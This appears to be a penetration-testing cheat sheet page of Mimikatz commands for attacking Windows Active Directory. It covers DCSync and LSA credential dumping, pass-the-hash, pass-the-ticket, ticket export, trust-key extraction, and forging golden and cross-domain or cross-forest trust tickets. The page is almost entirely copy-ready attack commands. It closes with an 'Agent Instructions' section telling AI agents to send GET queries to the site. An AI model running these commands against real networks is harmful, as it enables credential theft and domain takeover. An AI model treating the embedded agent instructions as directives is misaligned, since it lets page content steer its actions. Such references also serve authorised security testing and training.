# Mimikatz

### DCSync

```
Invoke-Mimikatz -Command '"lsadump::dcsync /user:DOMAIN\USER"'

Invoke-Mimikatz -Command '"lsadump::dcsync /all"'

# When DCsyncing and other actions you need to know the short hand of the domain.
# This can be found with Translate-Canonical
https://gist.github.com/HarmJ0y/4226349db644e6549605
```

### Pass-The-Ticket

```
Invoke-Mimikatz -Command '"kerberos::ptt TGS_ticket_file.kirbi"'
```

### Pass-The-Hash

```
Invoke-Mimikatz -Command '"sekurlsa::pth /user:Administrator /domain:DOMAIN.local /ntlm:<ntlmhash> /run:powershell.exe"'
```

### Extract Tickets

```
Invoke-Mimikatz -Command '"kerberos::list /export"'
```

### Dump Local Creds

```
Invoke-Mimikatz -Command '"lsadump::lsa /patch"'
```

### Extract Trust Keys

```
Invoke-Mimikatz -Command '"lsadump::trust /patch"' -ComputerName dc 
```

### Forge Golden Ticket

```
Invoke-Mimikatz -Command '"kerberos::golden /User:Administrator /domain:DOMAIN.local /sid:S-1-5-21-1874506631-3219952063-538504511 /krbtgt:HASH id:500 /groups:512 /startoffset:0 /endin:600 /renewmax:10080 /ptt"'
```

### Forge Inter-Domain Trust Ticket

```
Invoke-Mimikatz -Command '"Kerberos::golden /user:Administrator /domain:DOMAIN.local /sid:S-1-5-21-1874506631-3219952063-538504511 /sids:S-15-21-280534878-1496970234-700767426-519 /rc4:HASH /service:krbtgt /target:TARGETDOMAIN.local /ticket:C:\AD\Tools\kekeo_old\trust_tkt.kirbi"' 
```

### Forge Inter-Forest Trust Ticket

```
Invoke-Mimikatz -Command '"Kerberos::golden /user:Administrator /domain:DOMAIN.local /sid:S-1-5-21-1874506631-3219952063-538504511 /rc4:HASH /service:krbtgt /target:TARGETFOREST.local /ticket:C:\AD\Tools\kekeo_old\trust_forest_tkt.kirbi"'
```


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://cheats.philkeeble.com/active-directory/mimikatz.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
